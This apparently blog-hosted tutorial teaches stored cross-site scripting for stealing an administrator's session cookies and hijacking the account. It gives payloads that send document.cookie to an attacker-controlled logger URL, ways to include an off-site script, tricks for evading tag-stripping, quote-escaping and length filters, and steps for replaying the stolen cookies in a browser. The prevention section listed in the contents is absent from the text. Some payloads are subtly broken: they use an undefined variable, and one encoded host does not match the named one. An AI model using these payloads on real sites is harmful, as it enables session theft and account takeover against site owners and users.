XSS vulnerabilities are made possible by the coder of the web application or script in question not sanitising the user input correctly and printing out the injected JavaScript straight to the page. We will discuss this in more detail later on in the paper, but here is a basic scenario :>
1. We find a blog which allows users user to input data.
2. This data is displayed, unedited or sanitised on the blog index page.
3. We want to inject a XSS to log the administrative users cookies.
4. We want to login with the cookie we have stolen.
Contents
* 1 What You Will Need
* 2 Identifying & Exploiting the Vulnerability
* 3 Exploiting
* 4 Possible Limitations and Basic Filter Evasion Techniques
* 5 Using the Cookies
* 6 Preventing XSS Vulnerabilities
* 7 References
What You Will Need
Before we start, there are a few things you will need in order to follow the paper efficiently, I have set a list below of what you will need with the required links. I have included a BASIC vulnerable script for you to play with, if you ever see someone using this script for anything other than this, then they deserve to be shot.
Heres a list of things you will need through-out the tutorial :>
Mozilla Firefox. [1]
FF addon : Add & Edit Cookies. [2]
FF addon : Live HTTP Headers. [3]
An ACTIVE cookie logger. Refer to 'scripts' at the end of this tutorial for a logger script.
A basic understanding of JavaScript is an advantage, but not essential. [4]
A XSS vulnerability to test and exploit. Refer to 'scripts' at the end of this tutorial for an example of a vulnerable script. Hosting is up to you, try this free PHP web host :> [5]
The desire and dedication to learn. [Yourself.]
Identifying & Exploiting the Vulnerability
Identifying a XSS vulnerability can be pretty straight forward in most circumstances, we will talk about possible filters and bypassing them in the next section. A typical method of testing for a XSS vulnerability would be infamous 'Alert' test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert().
<script>alert('XSS')</script>
This would display a message box with XSS as the message.
NOTE : There is an obvious way to filter this, but we will talk about that in the next section.
To perform this test we want the page in question to print out the script, so the browser will execute it. So in this case using the included vulnerable test page, input the string <script>alert('XSS')</script>. Now the page will execute this and you should get an alert box displaying the message 'XSS'.
With permanent vulnerability, these tests are not always a good idea, as they cannot be removed in most cases, and the owner of the site will clock it pretty quickly if he sees a message box pop up that's not supposed to be there. Another method of testing for vulnerability is the document.write method. The same concepts and structure is applied to this method as the alert method, we're just using the document.write function instead of the alert function. So this time we insert :
<script>document.write('XSS')</script>
This time the script will return the string 'XSS', (without quotes), and will write it to the page, where the string is supposed to be shown.
Assuming you've efficiently identified a exploitable XSS vulnerability, we need to think about the possible attack vectors and different usages of the XSS, and how we can manipulate it to get certain information. Here is a list of a few of the usages of XSS and a basic description on what they do :>
[] Cookie Stealing ~ Stealing a users cookie, to gain access to their account and bypass certain security measures.
[] Cross-Site Request Forgery[6] ~ Also known as CSRF or XSRF. This type of attack is used to make the user send a request to the server without their knowledge, (e.g., make the user change their password).
[] XSS Worms ~ A XSS worm is a malicious script that has the ability to spread across as site, using a vulnerable point of the site. These can be deadly depending on the intent of the attacker.
[] Door-Forwarding ~ I wasn't sure what to call this. This is where the script creates an iframe to execute an exploit, or open a malicious download on a legitimate website. These attacks are not very common, but are active all over the internet.
[] Keylogging ~ The clue is in t he name. This method allows you to log keystrokes made by the user on the page where the XSS is. Not as common as the CSRF or the worms, but still poses as a huge risk and is overlooked far too often.
The type of attack depends massively on the website, and the type of information you expect in the outcome. For example, on a blogging system with no user accounts, there is no point in making a XSS worm to spread, because there's nowhere to go. A more relevant attack would be CSRF or cookie stealing, so we get admin access at the end of it.
Exploiting
Now assuming you have successfully identified a XSS vulnerability and chosen your attack vector, (in this example we will be covering cookie stealing), we will go over setting up our logger and a few methods of doing so.
Example 1 :
Our cookie logger URL : http://mysite.com/logger.php Vulnerable Page : http://someblog.com/index.php Injection Point : http://someblog.com/post.php
Now we have all this setup, we can crack on. You can use the following methods to log cookies using JavaScript :
<script>location.href='http://mysite.com/logger.php?cookie='+cookie</script>
<script>document.location='http://mysite.com/logger.php?cookie='+cookie</script>
<script>window.open('http://mysite.com/logger.php?cookie='+cookie)</script>
<script>window.location='http://mysite.com/logger.php?cookie='+cookie</script>
Once you have posted this to the blogging system, and it's echoed on the index.php, we just have to be patient and hope the administrator of the site visits it soon, so we can get their cookie.
Another method I want to go over is the <script src=> method. The only difference with this one is that the main script is kept off-site, and is fetched by the <script src> tag, and then executed on the page. This is advantageous in many ways. It can reduce the size of our script on the target site for one, and secondly it can be changed if we want to change the functionality of our XSS. This type of XSS is usually more practical for worms, and keyloggers, but is definitely worth knowing.
Example 2 :
Our cookie logger URL : http://mysite.com/logger.php
Our script URL : http://mysite.com/script.js
Vulnerable Page : http://someblog.com/index.php
Injection Point : http://someblog.com/post.php
Here is how we include or foreign script :
<script src='http://mysite.com/script.js'></script>
Inside the script we just need the logger, use a function from Example 1. An example of our script would be :
location.href='http://mysite.com/logger.php?cookie='+cookie;
Again, like anything, patience is a virtue. I'm assuming if you've read this far you have some level of interest. Just keep at it, no matter how difficult things get. If you get to the point where you think 'I cant fucking do this!', just take a step back, go over it again and take your time. There's no rush is there? You don't have anything to prove. If you do, you're doing this for the wrong reasons.
Possible Limitations and Basic Filter Evasion Techniques
As with every vulnerability, there's always some kind of obstacle that can prevent us doing what we intend to do, whether its filtering out our code, or stopping us altogether. In this section I will go through three examples of filters that you might come across on your travels and how I bypass them. Other people might have a different way around these and in time I'm sure you will pick up your own techniques. The first filter I will show you is a filter which removes the '<script>' and '</script>' tags. While a very basic and common method of filtering, it is ridiculously easy to bypass. There are of course other things which can totally prevent XSS's from happening, such as HTML encoding ect. but I will go through all that in the prevention section near the end.
Example 1 ~ Tag Removal :
I insert the JavaScript : '<script>alert('XSS')</script>',
and it returns the string : alert('XSS').
Never fear, there is away around this. If I now insert this : '<scr<script>ipt>alert('XSS')</scr</script>ipt>'
Now the script will remove the tags, and echo what's left, which is : <script>alert('XSS')</script>.
Example 2 ~ magic_quotes :
I assume you know what magic_quotes is. If not have a read on the Wikipedia or just browse Google.
I insert the JavaScript '<script>alert('XSS')</script>, and it returns the string <script>alert(\'alert\')</script>.
Now obviously this wont execute, because it is not correctly formatted JavaScript, we need to find a way around using the quotes ( ' and " ). Luckily for us, JavaScript has a built in function which you can use to encode/decode strings, called String.FromCharCode(). Now in this case, we want to make a message box pop up that says 'XSS', without the quotes. So we need to execute this JavaScript :
<script>alert(String.fromCharCode(88, 83, 83))</script>
Now this should execute the message box. You can apply this method for a lot of things while exploiting XSS.
HINT : When using integer values, you don't need the quotes. (<script>alert(123456)</script>)
Now, back to stealing our cookies. We want to apply this method to our cookie stealer. For the next example, we will assume that our blog we are trying to get admin on is using BOTH of this filters, so we will apply both of the bypassing methods.
Example :
Our cookie logger URL : http://mysite.com/logger.php Our script URL : http://mysite.com/script.js Vulnerable Page : http://someblog.com/index.php Injection Point : http://someblog.com/post.php
JavaScript to post ((All on one line)) :
<scr<script>ipt>location.href=String.fromCharCode( 104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114, 105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</scr</script>ipt>
So now this will echo :
<script>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114,105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</script>
onto the index.php page on our vulnerable site.
The last limitation i would like to go over is the length your allowed to post to the index page. if it was, for example, 50 chars we wouldn't be allowed to post this to the page. There are two main ways around this, the first one is using a foreign script :
Example 1 : <script src='http://site.com/x.js'></script>
Another Example is using another tag, for example, the <img src=> tag.
<img src='http://site.com/x.js'></img>
If your website is a long URL, such as, http://www.thisismyubersuperblog.com/ then you can try using the IP address, which will be <= 27 in length.
Using the Cookies
Now that you have successfully setup and started your XSS exploitation, all you can do is wait until a user with higher privileges than you executes your script, preferably an administrator. Once you have a hit, you can now log in as that user, as long as the session is still valid. There are many ways to do this, but in this example I will use 'Add n' Edit Cookies', which is an add-on for FireFox. I am assuming you already have Add 'n Edit Cookies installed, if not refer to section two of the paper.
1. 1. Open FireFox.
2. 2. Click on Tools in the menu bar.
3. 3. Click on Cookie Editor.
4. 4. Click on Add.
Adding the cookie :
1. 5. In name, add the name of that cookie, (the bit before the =)
2. 6. In content, add the value.
3. 7. In host, add .site.com, unless its a sub domain or otherwise stated, (the dot infront of the domain name is important).
4. 8. In path, write /, unless you have the exact path where you want the cookie to be active.
Repeat this procedure until every cookie has been added. Once this is done, you can navigate to the website and check to see if you have logged in.
[#]A Less Detailed and Noob Friendly Tutorial Here
 Explained){kind=link}
0 comments:
Post a Comment